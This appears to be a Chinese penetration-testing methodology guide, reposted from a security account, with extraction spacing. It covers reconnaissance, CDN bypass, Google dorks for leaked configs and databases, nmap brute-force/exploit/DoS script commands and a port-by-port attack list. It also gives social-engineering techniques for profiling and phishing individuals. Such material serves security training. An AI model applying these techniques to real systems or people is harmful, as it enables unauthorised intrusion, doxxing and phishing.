搜索

[7518] 2021-02-23_干货渗透测试全流程归纳总结

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-17
2021-02-23_干货渗透测试全流程归纳总结 干 货   |   渗 透 测 试 全 流 程 归 纳 总 结 F 1 2 s e c   2 0 2 1 - 0 2 - 2 3 编 者 荐 语 ： 渗 透 测 试 全 流 程 归 纳 总 结 以 下 文 章 来 源 于 H A C K 学 习 呀   ， 作 者 M r . M 写 在 开 头 ： 知 识 面 ， 决 定 看 到 的 攻 击 面 有 多 广 。 知 识 面 ， 决 定 看 到 的 攻 击 面 有 多 广 。 知 识 链 ， 决 定 发 动 的 杀 伤 链 有 多 深 。 知 识 链 ， 决 定 发 动 的 杀 伤 链 有 多 深 。 0 x 0 0   信 息 收 集 信 息 收 集 　 　 从 旁 观 者 的 角 度 了 解 整 个 W E B 应 用 乃 至 整 个 目 标 的 全 貌 ， 但 是 资 产 是 收 集 不 完 的 ， 可 以 边 收 集 ， 边 进 行 一 定 程 度 的 测 试 。 信 息 收 集 最 小 的 粒 度 应 是 目 录 目 录 。 1 . 目 标 确 认 目 标 确 认 1 . 1 域 名 注 册 信 息 域 名 注 册 信 息 通 过 如 下 步 骤 确 认 目 标 所 有 者 信 息 ： 通 过 如 下 步 骤 确 认 目 标 所 有 者 信 息 ： W h o i s   目 标 域 名 / 主 机 名 ： w h o i s   e x a m p l e . c o m 解 析 目 标 域 名 / 主 机 名 的 I P 地 址 ： d i g   + s h o r t   e x a m p l e . c o m 获 取 域 名 的 详 细 解 析 过 程 ： d i g   + t r a c e   e x a m p l e . c o m 后 续 用 于 字 典 制 作 和 进 一 步 收 集 目 标 信 息 的 基 础 获 取 真 实 获 取 真 实 I P ： ： 浏 览 器 切 换 手 机 模 式 ， 可 能 是 真 实 i p ， 公 众 号 、 小 程 序 中 的 资 产 也 可 能 对 应 真 实 i p 。 验 证 是 否 存 在 验 证 是 否 存 在 C D N 方 法 1 ： 使 用 各 种 多 地   p i n g   的 服 务 ， 查 看 对 应   I P   地 址 是 否 唯 一 ， 如 果 不 唯 一 多 半 是 使 用 了 C D N ，   多 地   P i n g   网 站 有 ： h t t p : / / p i n g . c h i n a z . c o m / h t t p : / / p i n g . a i z h a n . c o m / h t t p : / / c e . c l o u d . 3 6 0 . c n / 方 法 2 ： 试 用 n s l o o k u p 进 行 检 测 ， 如 果 返 回 域 名 解 析 对 应 多 个 I P ， 那 么 多 半 是 试 用 了 C D N . n s l o o k u p   e x a m p l e . c o m 方 法 3 : 在 线 工 具 查 看 是 否 存 在 C D N ， 可 以 参 考 以 下 站 点 : h t t p : / / w w w . c d n p l a n e t . c o m / t o o l s / c d n f i n d e r h t t p : / / w w w . i p i p . n e t / i p . h t m l 绕 过 绕 过 C D N 查 找 网 站 真 实 查 找 网 站 真 实 I P 1 . 查 询 历 史 D N S 记 录 ( i p 的 历 史 解 析 域 名 ， 域 名 的 历 史 解 析 i p ) 查 看   I P   与   域 名 绑 定 的 历 史 记 录 ， 可 能 会 存 在 使 用   C D N   前 的 记 录 ， 相 关 查 询 网 站 有 ： h t t p s : / / d n s d b . i o / z h - c n / h t t p s : / / x . t h r e a t b o o k . c n / h t t p s : / / c e n s y s . i o / i p v 4 ? q = b a i d u . c o m 非 常 牛 逼 的 I P 记 录 站 ， 还 能 分 析 内 链 之 类 找 出 可 能 的 I P 地 址 ， 此 外 还 会 记 录 历 史 。 v i e w d n s . i n f o 同 样 是 个 令 站 长 十 分 蛋 疼 的 D N S 历 史 记 录 网 站 ， 记 录 了 几 年 内 的 更 改 记 录 。 s e c u r i t y t r a i l s . c o m H A C K 学 习 呀 学 习 呀   . H A C K 学 习 ， 专 注 于 互 联 网 安 全 与 黑 客 精 神 ； 渗 透 测 试 ， 社 会 工 程 学 ， P y t h o n 黑 客 编 程 ， 资 源 分 享 ， W e b 渗 透 培 训 ， 电 脑 技 巧 ， 渗 透 技 巧 等 ， 为 广 大 网 络 安 全 爱 好 者 一 个 交 流 分 享 学 习 的 平 台 ！
h t t p s : / / s i t e . i p 1 3 8 . c o m / 庞 大 的 D N S 历 史 数 据 库 ， 可 以 查 出 几 年 内 网 站 用 过 的 I P 、 机 房 信 息 等 。 i p h o s t i n f o . c o m 注 意 ： 这 个 网 站 可 以 遍 历 F T P 、 M X 记 录 和 常 见 二 级 域 名 ， 有 些 站 长 喜 欢 把 邮 箱 服 务 也 放 在 自 己 主 机 上 ， 侧 面 泄 露 了 真 实 的 I P 地 址 ， 通 过 这 个 网 站 可 以 进 行 检 查 。 2 . 查 询 子 域 名 （ 捷 径 ， 去 众 测 平 台 、 g i t h u b 找 官 方 发 布 过 的 ） 注 意 ： 有 可 能 有 些 站 长 只 给 主 站 或 流 量 大 的 子 域 名 做 了 C D N , 而 很 多 子 域 名 都 是 和 主 站 在 同 一 台 服 务 器 上 ， 或 者   C 段 中 ， 这 样 可 以 通 过 子 域 名 来 辅 助 找 到 网 站 真 实 I P 爆 破 子 域 名 : 主 动 式 被 动 式 详 细 用 法 : 百 度 语 法 ： h t t p s : / / w w w . c n b l o g s . c o m / k 0 x x / p / 1 2 7 9 4 4 5 2 . h t m l 谷 歌 语 法 ： h t t p s : / / b l o g . c s d n . n e t / u 0 1 2 9 9 1 6 9 2 / a r t i c l e / d e t a i l s / 8 2 9 3 7 1 0 0 ? b i z _ i d = 1 0 2 & u t m _ t e r m = G o o g l e h a c k & u t m _ m e d i u m = d i s t r i b u t e . p c _ s e a r c h _ r e s u l t . n o n e - t a s k - b l o g - 2 ~ a l l ~ s o b a i d u w e b ~ d e f a u l t - 0 - 8 2 9 3 7 1 0 0 & s p m = 1 0 1 8 . 2 1 1 8 . 3 0 0 1 . 4 1 8 7 G H D B ： h t t p s : / / w w w . e x p l o i t - d b . c o m / g o o g l e - h a c k i n g - d a t a b a s e 3 . 资 产 搜 索 ( 旁 站 C 段 特 征 ) : 4 . 对 方 服 务 器 给 自 己 发 邮 件 暴 露 I P 5 . A P P 客 户 端 爆 i p 1 . 2 D N S 信 息 查 询 信 息 查 询 目 的 目 的 : 注 册 者 名 称 及 邮 箱 , 再 反 查 其 他 域 名 手 机 号   座 机 号 A S N 号 地 址 在 线 D N S 信 息 查 询 工 具 l a y e r 子 域 名 挖 掘 机 （ 字 典 要 自 己 丰 富 ） h t t p : / / z . z c j u n . c o m / ( 在 线 子 域 名 挖 掘 ) f u z z d o m a i n   很 好 用 ， 速 度 快 搜 索 引 擎 拿 子 域 名 、 旁 站 （ 同 I P 网 站 ） 、 C 段 ： 可 用 搜 索 引 擎 语 法 查 询 子 域 名 ： 谷 歌 、 百 度 、 b i n g 、 搜 狗 ( 搜 索 微 信 文 章 ) 、 雅 虎 等 略 有 差 异 （ 1 ） s i t e :   = 主 域 名 , 搜 索 其 主 要 域 名 下 面 的 子 域 名 （ 2 ） a l l i n t e x t :   =   搜 索 文 本 , 但 不 包 括 网 页 标 题 和 链 接 （ 3 ） a l l i n l i n k s :   =   搜 索 链 接 ,   不 包 括 文 本 和 标 题 。 （ 4 ） r e l a t e d : U R L   =   列 出 于 目 标 U R L 地 址 有 关 的 网 页 。 （ 5 ） l i n k : U R L   =   列 出 到 链 接 到 目 标 U R L 的 网 页 清 单 。 （ 6 ） 使 用 “ - ” 去 掉 不 想 看 的 结 果 ， 例 如 s i t e : b a i d u . c o m   - i m a g e . b a i d u . c o m h t t p s : / / w w w . s h o d a n . i o ( 资 产 相 关 或 特 征 值 关 键 字 爆 i p ) h t t p s : / / f o f a . s o h t t p s : / / w w w . z o o m e y e . o r g / h t t p : / / w w w . y u n s e e . c n / i n f o . h t m l   （ 云 悉 在 线 资 产 平 台 ) h t t p : / / s u b d o m a i n . c h a x u n . l a   （ 查 询 啦 ） h t t p s : / / w w w . v i r u s t o t a l . c o m / g u i / h o m e / s e a r c h h t t p s : / / d n s d u m p s t e r . c o m / h t t p s : / / d u c k d u c k g o . c o m   （ 一 个 不 会 存 储 你 个 人 信 息 的 搜 索 引 擎 ） h t t p s : / / c r t . s h / （ S S L 证 书 查 询 ） h t t p s : / / i c p . a i z h a n . c o m / ( 域 名 备 案 ) h t t p s : / / d n s d u m p s t e r . c o m / h t t p s : / / w w w . d n s d b . i o   （ D N S 搜 索 引 擎 ） h t t p : / / s e a r c h d n s . n e t c r a f t . c o m h t t p : / / w h o i s . n a w a n g . c n / h t t p s : / / w h o i s . a l i y u n . c o m / h t t p s : / / w h o i s . w e s t . c n / h t t p : / / w h o i s . c h i n a z . c o m /   ( 站 长 之 家 ) h t t p s : / / w w w . t i a n y a n c h a . c o m /   （ 天 眼 查 ） h t t p : / / w w w . g s x t . g o v . c n / i n d e x . h t m l   （ 国 家 企 业 信 用 信 息 系 统 ） w w w . b e i a n b e i a n . c o m /   （ I C P 备 案 查 询 ）
1 . 3 测 试 域 传 送 漏 洞 测 试 域 传 送 漏 洞 域 传 送 是 一 种 D N S 事 务 ， 用 于 在 主 从 服 务 器 间 复 制 D N S 记 录 。 虽 然 如 今 已 经 很 少 见 主 机 会 开 启 ， 但 是 还 是 应 该 确 认 一 下 。 一 旦 存 在 域 传 送 漏 洞 ， 就 意 味 着 你 获 取 了 整 个 域 下 面 所 有 的 记 录 。 d n s r e c o n   - d   e x a m p l e . c o m d n s e n u m   e x a m p l e . c o m   包 含 自 动 检 测 域 传 送 漏 洞 1 . 4 业 务 相 关 业 务 相 关 g i t h u b 泄 露 ： 网 盘 泄 露 ： 各 种 云 网 盘 ， 详 见 虫 部 落 搜 索 : m a g n e t . c h o n g b u l u o . c o m 敏 感 路 径 扫 描 ： h t t p s : / / g i t h u b . c o m / r i n g 0 4 h / w e a k f i l e s c a n 2 . O S I N T   公 开 情 报 收 集 公 开 情 报 收 集 2 . 1 社 工 技 巧 社 工 技 巧 查 看 注 册 的 网 站 查 看 注 册 的 网 站 ： r e g 0 0 7 知 道 账 号 去 已 注 册 的 网 站 找 回 密 码 ， 可 以 看 到 打 码 后 的 用 户 名 、 邮 箱 、 真 实 姓 名 等 信 息 ， 如 果 运 气 好 没 准 能 从 数 据 包 或 h t m l 中 找 到 未 被 打 码 的 信 息 可 以 从 这 些 方 面 判 断 用 户 是 否 注 册 过 可 以 从 这 些 方 面 判 断 用 户 是 否 注 册 过 找 回 密 码 输 入 账 号 ， 如 果 进 入 下 一 步 了 则 该 账 号 存 在 登 录 输 入 账 号 和 密 码 ， 如 果 提 示 密 码 错 误 ， 则 表 示 该 用 户 已 存 在 注 册 填 写 账 号 时 一 般 网 站 会 去 检 测 该 账 号 是 否 已 存 在 ， 如 果 已 存 在 则 会 提 示 不 可 重 复 注 册   　 　 　 　   知 道 知 道 Q Q 通 过 Q Q 邮 箱 和 Q Q 号 搜 索 支 付 宝 、 淘 宝 账 号 等 其 他 可 能 的 常 用 平 台 去 腾 讯 新 浪 微 博 搜 索 通 过 微 信 搜 索 查 看 Q Q 空 间 相 册 地 区 星 座 生 日 昵 称 ( 后 续 构 建 字 典 以 及 跨 平 台 搜 集 ) 通 过 说 说 、 留 言 、 日 志 找 到 其 好 友 加 Q Q 钓 鱼 共 同 好 友 可 能 认 识 的 人 知 道 手 机 号 知 道 手 机 号 搜 索 Q Q 、 微 信 、 钉 钉 等 社 交 账 号 在 比 较 火 的 一 些 A P P 和 网 站 上 注 册 或 忘 记 密 码 来 判 断 是 否 注 册 过 账 号 查 询 支 付 宝 、 Q Q 交 易 账 号 ， 尝 试 输 入 常 见 姓 氏 获 取 名 字 ( 转 账 到 该 手 机 号 , 会 提 示 输 入 姓 氏 验 证 ) 通 过 对 方 的 职 业 、 兴 趣 找 到 该 领 域 知 名 度 较 高 的 社 交 网 站 反 查 根 据 在 Q Q 空 间 、 朋 友 圈 等 动 态 用 百 度 识 图 识 别 照 片 在 微 博 、 i n s 、 T w i t t e r 、 f b 、 百 度 贴 吧 搜 索 相 近 关 键 字 ， 按 地 域 、 年 龄 、 男 女 、 用 户 名 等 筛 选 留 意 社 交 动 态 留 意 社 交 动 态 i n : n a m e   t e s t   # 仓 库 标 题 搜 索 含 有 关 键 字   S p r i n g C l o u d i n : d e s c r i p t o n   t e s t   # 仓 库 描 述 搜 索 含 有 关 键 字 i n : r e a d m e   t e s t   # R e a d m e 文 件 搜 素 含 有 关 键 字 s t a r s : > 3 0 0 0   t e s t   # s t a r s 数 量 大 于 3 0 0 0 的 搜 索 关 键 字 s t a r s : 1 0 0 0 . . 3 0 0 0   t e s t   # s t a r s 数 量 大 于 1 0 0 0 小 于 3 0 0 0 的 搜 索 关 键 字 f o r k s : > 1 0 0 0   t e s t   # f o r k s 数 量 大 于 1 0 0 0 的 搜 索 关 键 字 f o r k s : 1 0 0 0 . . 3 0 0 0   t e s t   # f o r k s 数 量 大 于 1 0 0 0 小 于 3 0 0 0 的 搜 索 关 键 字 s i z e : > = 5 0 0 0   t e s t   # 指 定 仓 库 大 于 5 0 0 0 k ( 5 M ) 的 搜 索 关 键 字 p u s h e d : > 2 0 1 9 - 0 2 - 1 2   t e s t   # 发 布 时 间 大 于   2 0 1 9 - 0 2 - 1 2 的 搜 索 关 键 字 c r e a t e d : > 2 0 1 9 - 0 2 - 1 2   t e s t   # 创 建 时 间 大 于 2 0 1 9 - 0 2 - 1 2 的 搜 索 关 键 字 u s e r : t e s t   # 用 户 名 搜 素 l i c e n s e : a p a c h e - 2 . 0   t e s t   # 明 确 仓 库 的   L I C E N S E   搜 索 关 键 字 l a n g u a g e : j a v a   t e s t   # 在 j a v a 语 言 的 代 码 中 搜 索 关 键 字 u s e r : t e s t   i n : n a m e   t e s t   # 组 合 搜 索 , 用 户 名 t e s t 的 标 题 含 有 t e s t 的   　 　 　 　
发 布 时 间 线 使 用 什 么 客 户 端   i P h o n e   A n d r o i d 还 是 浏 览 器 针 对 客 户 端 预 先 制 定 e x p l o i t 注 意 每 一 条 链 接   /   图 片   /   视 频 链 接 可 能 包 含 用 户 I D 图 片 可 能 包 含 水 印 ， e x i f 可 能 会 有 G P S 定 位 和 手 机 类 型 , 图 片 内 容 特 征 视 频 也 有 可 能 有 水 印 暴 露 社 交 账 号 I D , 拍 摄 地 点 从 最 早 发 布 的 动 态 看 起 ， 会 有 很 大 收 获 一 般 得 到 一 个 账 号 的 密 码 就 相 当 于 得 到 了 其 他 账 号 的 密 码 一 般 人 不 同 账 号 的 用 户 名 都 是 相 同 或 相 近 的 一 般 人 的 社 交 账 号 头 像 用 的 都 是 一 样 的 尝 试 破 解 社 保 、 公 积 金 账 号 、 身 份 证 号 （ 出 生 地 、 生 日 、 星 座 、 派 出 所 代 码 ） 虫 部 落 快 搜 之 文 件 搜 索 : h t t p s : / / s e a r c h . c h o n g b u l u o . c o m / q q 群 、 群 文 件 、 贴 吧 论 坛 、 目 标 自 用 论 坛 等 社 交 平 台 钓 鱼 钓 鱼 和 信 息 泄 露 信 息 泄 露 ( 爬 邮 箱 等 信 息 ) 电 子 邮 件 伪 造 、 网 络 钓 鱼 下 载 恶 意 程 序 输 入 敏 感 信 息 大 部 分 信 息 可 以 用 来 生 成 密 码 字 典 对 人 ： 说 服 对 方 达 成 一 致 、 恐 吓 对 方 （ 敏 感 词 、 漏 洞 、 病 毒 、 权 威 机 构 名 称 、 ） ， 钓 鱼 获 取 信 息 2 . 2 搜 索 引 擎 搜 索 引 擎 O S I N T G o o g l e   H a c k i n g ( b a i d u b i n g s o u h u g i t h u b ) G o o g l e H a c k i n g 常 用 语 法 G o o g l e H a c k i n g 其 他 语 法 G o o g l e H a c k i n g D a t a b a s e : 管 理 后 台 地 址 上 传 类 漏 洞 地 址 注 入 页 面 编 辑 器 页 面 目 录 遍 历 漏 洞 S Q L 错 误 1 、 i n t e x t ： （ 仅 针 对 G o o g l e 有 效 ）   把 网 页 中 的 正 文 内 容 中 的 某 个 字 符 作 为 搜 索 的 条 件 2 、 i n t i t l e ： 把 网 页 标 题 中 的 某 个 字 符 作 为 搜 索 的 条 件 3 、 c a c h e ： 搜 索 搜 索 引 擎 里 关 于 某 些 内 容 的 缓 存 ， 可 能 会 在 过 期 内 容 中 发 现 有 价 值 的 信 息 4 、 f i l e t y p e / e x t ： 指 定 一 个 格 式 类 型 的 文 件 作 为 搜 索 对 象 5 、 i n u r l ： 搜 索 包 含 指 定 字 符 的 U R L 6 、 s i t e ： 在 指 定 的 ( 域 名 ) 站 点 搜 索 相 关 内 容 　 　 1 、 引 号   ”   ”   把 关 键 字 打 上 引 号 后 ， 把 引 号 部 分 作 为 整 体 来 搜 索 2 、 o r   同 时 搜 索 两 个 或 更 多 的 关 键 字 3 、 l i n k   搜 索 某 个 网 站 的 链 接   l i n k : b a i d u . c o m 即 返 回 所 有 和 b a i d u 做 了 链 接 的 U R L 4 、 i n f o   查 找 指 定 站 点 的 一 些 基 本 信 息 　 　 g o o g l e - h a c k i n g - d a t a b a s e G o o g l e H a c k i n g 典 型 用 法 ( 特 定 资 产 的 万 能 密 码 也 要 积 累 ) s i t e : t a r g e t . c o m   i n t e x t : 管 理   |   后 台   |   后 台 管 理   |   登 陆   |   登 录   |   用 户 名   |   密 码   |   系 统   |   账 号   |   l o g i n   |   s y s t e m s i t e : t a r g e t . c o m   i n u r l : l o g i n   |   i n u r l : a d m i n   |   i n u r l : m a n a g e   |   i n u r l : m a n a g e r   |   i n u r l : a d m i n _ l o g i n   |   i n u r l : s y s t e m   |   i n u r l : b a c k e n d s i t e : t a r g e t . c o m   i n t i t l e : 管 理   |   后 台   |   后 台 管 理   |   登 陆   |   登 录 s i t e : t a r g e t . c o m   i n u r l : f i l e s i t e : t a r g e t . c o m   i n u r l : u p l o a d s i t e : t a r g e t . c o m   i n u r l : p h p ? i d = （ 批 量 注 入 工 具 、 结 合 搜 索 引 擎 ） s i t e : t a r g e t . c o m   i n u r l : e w e b e d i t o r s i t e : t a r g e t . c o m   i n t i t l e : i n d e x . o f s i t e : t a r g e t . c o m   i n t e x t : " s q l   s y n t a x   n e a r "   |   i n t e x t : " s y n t a x   e r r o r   h a s   o c c u r r e d "   |   i n t e x t : " i n c o r r e c t   s y n t a x   n e a r "   |   i n t e x t : " u n e x p e c t e d   e n d   o f   S Q L   c o m m a n d "   |   i n t e x t : " W a r n i n g :   m y s q l _ c o n n e c t ( ) "   |   i n t e x t : ” W a r n i n g :   m y s q l _ q u e r y ( ) "   |   i n t e x t : ” W a r n i n g :   p g _ c o n n e c t ( ) "
p h p i n f o ( ) 配 置 文 件 泄 露 数 据 库 文 件 泄 露 备 份 和 历 史 文 件 泄 露 公 开 文 件 泄 露 邮 箱 信 息 社 工 信 息 2 . 3 浏 览 器 实 用 插 件 ： 浏 览 器 实 用 插 件 ： W a p p a l y z e r ： 识 别 网 站 使 用 的 中 间 件 及 其 版 本 ， 再 去 漏 洞 库 和 搜 索 引 擎 找 公 开 披 露 的 漏 洞 S w i t c h O m e g a ： 快 捷 切 换 代 理 s h o d a n ： 识 别 开 放 端 口 ， 主 机 服 务 等 （ 被 动 信 息 搜 集 ） h a c k t o o l s : 综 合 插 件 , 很 强 大 f i r e f o x 渗 透 便 携 版 v e r s i o n 4 8 , 工 具 集 成 很 多 注 意 ： 根 据 获 得 服 务 、 中 间 件 信 息 、 编 辑 器 版 本 、 数 据 库 等 O S I N T 去 各 大 漏 洞 库 、 搜 索 引 擎 找 漏 洞 利 用 2 . 4 乌 云 和 乌 云 和 c n v d 乌 云 库 乌 云 镜 像 G H D B C N V D 等 公 开 漏 洞 库 0 x 0 1   主 动 探 测 主 动 探 测 从 管 理 员 和 用 户 的 角 度 了 解 整 个 W E B 应 用 乃 至 整 个 目 标 的 全 貌 ， 主 动 探 测 会 暴 露 i p 以 及 留 下 日 志 信 息 ， 所 以 要 . . . 1 . 主 动 扫 描 主 动 扫 描 1 . 1 常 见 服 务 漏 洞 常 见 服 务 漏 洞 n m a p 的 功 能 : 脚 本 扫 描 ， 隐 蔽 扫 描 ， 端 口 扫 描 ， 服 务 识 别 ， O S 识 别 ， 探 测 W A F n m a p 脚 本 主 要 分 为 以 下 几 类 ， 在 扫 描 时 可 根 据 需 要 设 置 s i t e : t a r g e t . c o m   e x t : p h p   i n t i t l e : p h p i n f o   " p u b l i s h e d   b y   t h e   P H P   G r o u p " s i t e : t a r g e t . c o m   e x t : . x m l   |   . c o n f   |   . c n f   |   . r e g   |   . i n f   |   . r d p   |   . c f g   |   . t x t   |   . o r a   |   . i n i s i t e : t a r g e t . c o m   e x t : . s q l   |   . d b f   |   . m d b   |   . d b   　 　   日 志 文 件 泄 露 s i t e : t a r g e t . c o m   e x t : . l o g s i t e : t a r g e t . c o m   e x t : . b k f   |   . b k p   |   . o l d   |   . b a c k u p   |   . b a k   |   . s w p   |   . r a r   |   . t x t   |   . z i p   |   . 7 z   |   . s q l   |   . t a r . g z   |   . t g z   |   . t a r s i t e : t a r g e t . c o m   f i l e t y p e : . d o c   |   . d o c x   |   . x l s   |   . x l s x   |   . p p t   |   . p p t x   |   . o d t   |   . p d f   |   . r t f   |   . s x w   |   . p s w   |   . c s v s i t e : t a r g e t . c o m   i n t e x t : @ t a r g e t . c o m s i t e : t a r g e t . c o m   邮 件 s i t e : t a r g e t . c o m   e m a i l s i t e : t a r g e t . c o m   i n t i t l e : 账 号   |   密 码   |   工 号   |   学 号   |   身 份 证 - - s c r i p t = 类 别 这 种 方 式 进 行 比 较 笼 统 的 扫 描 ： - - a u t h :   负 责 处 理 鉴 权 证 书 （ 绕 开 鉴 权 ） 的 脚 本 - - b r o a d c a s t :   在 局 域 网 内 探 查 更 多 服 务 开 启 状 况 ， 如 d h c p / d n s / s q l s e r v e r 等 服 务 - - b r u t e :   提 供 暴 力 破 解 方 式 ， 针 对 常 见 的 应 用 如 h t t p / s n m p 等 - - d e f a u l t :   使 用 - s C 或 - A 选 项 扫 描 时 候 默 认 的 脚 本 ， 提 供 基 本 脚 本 扫 描 能 力 - - d i s c o v e r y :   对 网 络 进 行 更 多 的 信 息 ， 如 S M B 枚 举 、 S N M P 查 询 等 - - d o s :   用 于 进 行 拒 绝 服 务 攻 击 - - e x p l o i t :   利 用 已 知 的 漏 洞 入 侵 系 统 - - e x t e r n a l :   利 用 第 三 方 的 数 据 库 或 资 源 ， 例 如 进 行 w h o i s 解 析 - - f u z z e r :   模 糊 测 试 的 脚 本 ， 发 送 异 常 的 包 到 目 标 机 ， 探 测 出 潜 在 漏 洞 - - i n t r u s i v e :   入 侵 性 的 脚 本 ， 此 类 脚 本 可 能 引 发 对 方 的 I D S / I P S 的 记 录 或 屏 蔽 - - m a l w a r e :   探 测 目 标 机 是 否 感 染 了 病 毒 、 开 启 了 后 门 等 信 息 - - s a f e :   此 类 与 i n t r u s i v e 相 反 ， 属 于 安 全 性 脚 本 - - v e r s i o n :   负 责 增 强 服 务 与 版 本 扫 描 （ V e r s i o n   D e t e c t i o n ） 功 能 的 脚 本 - - v u l n :   负 责 检 查 目 标 机 是 否 有 常 见 的 漏 洞 （ V u l n e r a b i l i t y ） ， 如 是 否 有 M S 0 8 _ 0 6 7
n m a p 脑 图 备 查 脑 图 备 查 : n m a p   - - s c r i p t = a u t h   1 9 2 . 1 6 8 . 1 3 7 . * 负 责 处 理 鉴 权 证 书 （ 绕 开 鉴 权 ） 的 脚 本 , 也 可 以 作 为 检 测 部 分 应 用 弱 口 令 n m a p   - - s c r i p t = b r u t e   1 9 2 . 1 6 8 . 1 3 7 . * 提 供 暴 力 破 解 的 方 式     可 对 数 据 库 ， s m b ， s n m p 等 进 行 简 单 密 码 的 暴 力 猜 解 n m a p   - - s c r i p t = d e f a u l t 1 9 2 . 1 6 8 . 1 3 7 . *   或 者   n m a p   - s C   1 9 2 . 1 6 8 . 1 3 7 . * 默 认 的 脚 本 扫 描 ， 主 要 是 搜 集 各 种 应 用 服 务 的 信 息 ， 收 集 到 后 ， 可 再 针 对 具 体 服 务 进 行 攻 击 n m a p   - - s c r i p t = v u l n   1 9 2 . 1 6 8 . 1 3 7 . * 检 查 是 否 存 在 常 见 漏 洞 n m a p   - n   - p 4 4 5   - - s c r i p t = b r o a d c a s t   1 9 2 . 1 6 8 . 1 3 7 . 4 在 局 域 网 内 探 查 更 多 服 务 开 启 状 况 n m a p   - - s c r i p t   e x t e r n a l   2 0 2 . 1 0 3 . 2 4 3 . 1 1 0 利 用 第 三 方 的 数 据 库 或 资 源 ， 例 如 进 行 w h o i s 解 析 n m a p   - - s c r i p t   b a n n e r   i p n m a p   - p   p o r t   - s V   i p 获 取 软 件 版 本 信 息 n m a p   - O   i p 操 作 系 统 信 息 ， 版 本 n m a p   - A   - v   i p 完 整 信 息 获 取 - s N ; - s F ; - s X   隐 蔽 扫 描 　 　 - s N 是 N u l l 扫 描 , 是 通 过 发 送 非 常 规 的 T C P 通 信 数 据 包 进 行 探 测 　 　 n m a p   - s N   1 2 7 . 0 . 0 . 1 　 　 - s F 是 F I N 扫 描 , 当 我 们 使 用 T C P   S Y N 扫 描 时 可 能 会 被 目 标 主 机 的 防 火 墙 发 现 , 会 阻 止 S Y N 数 据 包 　 　 , 这 时 我 们 使 用 T C P   F I N 扫 描 方 式 会 有 很 好 的 穿 透 效 果 . 　 　 n m a p   - s F   1 2 7 . 0 . 0 . 1 扫 描 前 1 0 0 0 号 T C P 端 口 n m a p   1 9 2 . 1 6 8 . 1 0 0 . 2 P i n g 扫 描 8 个 本 地 主 机 ( 按 A R P 、 I C M P 、 T C P   8 0 的 顺 序 ) n m a p   – s P   1 9 2 . 1 6 8 . 1 0 0 . 0 - 7 扫 描 8 0 , 4 4 3 端 口 n m a p   - p   8 0 , 4 4 3 1 9 2 . 1 6 8 . 1 0 0 . 2 扫 描 前 1 0 0 0 号 T C P 端 口 ， O S 指 纹 ， 服 务 ， 然 后 运 行 一 个 N S E 脚 本 s u d o   n m a p   - A   1 9 2 . 1 6 8 . 1 0 0 . 2 扫 描 全 部 6 5 5 3 5 个 T C P 端 口 ， O S 指 纹 ， 服 务 ， 然 后 运 行 一 个 N S E 脚 本 s u d o   n m a p   – A   – p -   1 9 2 . 1 6 8 . 1 0 0 . 2 扫 描 前 1 0 0 0 号 U D P 端 口 s u d o   n m a p   - s U   1 9 2 . 1 6 8 . 1 0 0 . 2 扫 描 所 有 6 5 5 3 5 个 U D P 端 口 s u d o   n m a p   - s U   – p -   1 9 2 . 1 6 8 . 1 0 0 . 2 扫 描 所 有 6 5 5 3 5 个 U D P 端 口 ， 并 获 取 服 务 、 O S 指 纹 ， 之 后 运 行 一 些 N S E 脚 本 s u d o   n m a p   – s U   - p -   - A   1 9 2 . 1 6 8 . 1 0 0 . 2 # # #   1 . 2 常 见 端 口 漏 洞 利 用 　 　 快 速 扫 描 ： 　 　 M a s s c a n - p 8 0 , 8 0 0   i p   - - r a t e = 1 0 0 0 0 2 1 /   F T P 　 　 匿 名 / 暴 力 破 解 　 　 拒 绝 服 务 2 2 /   S S H 　 　 暴 力 破 解 2 3 /   t e l n e t 　 　 W i n b o x ( C V E - 2 0 1 8 - 1 4 8 4 7 ) 　 　 h t t p s : / / g i t h u b . c o m / B a s u C e r t / W i n b o x P o C 　 　 弱 口 令   /   暴 力 破 解 1 6 1 /   s n m p 　 　 弱 口 令 　 　 h t t p s : / / b l o g . c s d n . n e t / a r c h e r s a b e r 3 9 / a r t i c l e / d e t a i l s / 7 8 9 3 2 2 5 2 3 8 9 /   l a d p 　 　 匿 名 访 问 　 　 h t t p s : / / w w w . c n b l o g s . c o m / p e r s u i t / p / 5 7 0 6 4 3 2 . h t m l 　 　 l a d p 注 入 　 　 h t t p : / / w w w . 4 h o u . c o m / t e c h n o l o g y / 9 0 9 0 . h t m l 　 　 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 4 9 0 5 9 . h t m l 4 4 3 /   s s l 　 　 o p e n s s l 心 脏 出 血 　 　 h t t p s : / / p a p e r . s e e b u g . o r g / 4 3 7 / 　 　 h t t p : / / w w w . a n q u a n . u s / s t a t i c / d r o p s / p a p e r s - 1 3 8 1 . h t m l 　 　 h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 3 3 1 9 1 . h t m l 4 4 5 /   s m b 　 　 w i n 1 0 拒 绝 服 务 　 　 永 恒 之 蓝 R C E 8 7 5 /   r s y n c 　 　 匿 名 访 问 　 　 h t t p : / / w w w . a n q u a n . u s / s t a t i c / b u g s / w o o y u n - 2 0 1 6 - 0 1 9 0 8 1 5 . h t m l 　 　 h t t p s : / / p a p e r . s e e b u g . o r g / 4 0 9 / 　 　 h t t p : / / w w w . 9 1 r i . o r g / 1 1 0 9 3 . h t m l 1 4 3 3 /   m s s q l 　 　 暴 力 破 解 　 　 h t t p : / / w w w . a n q u a n . u s / s t a t i c / d r o p s / t i p s - 1 2 7 4 9 . 　 　 h t m l 　 　 h t t p s : / / w w w . s e e b u g . o r g / a p p d i r / M i c r o s o f t % 2 0 S Q L % 2 0 S e r v e r 1 5 2 1 /   o r a c l e 　 　 暴 力 破 解 　 　 h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 3 0 8 4 2 6 0 1 /   z e b r a 　 　 h t t p : / / w w w . a n q u a n . u s / s t a t i c / b u g s / w o o y u n - 2 0 1 3 - 0 4 7 4 0 9 . h t m l 3 1 2 8 /   s q u i d 3 3 0 6 /   m y s q l 　 　 R C E 　 　 h t t p : / / w w w . 9 1 r i . o r g / 1 7 5 1 1 . h t m l 　 　 C V E - 2 0 1 5 - 0 4 1 1 　 　 h a s h 破 解 　 　 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 5 3 5 6 1 . h t m l 　 　 w a f 绕 过 　 　 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 5 5 5 7 0 . h t m l 　 　 g e n e r a l _ l o g _ f i l e   g e t s h e l l 　 　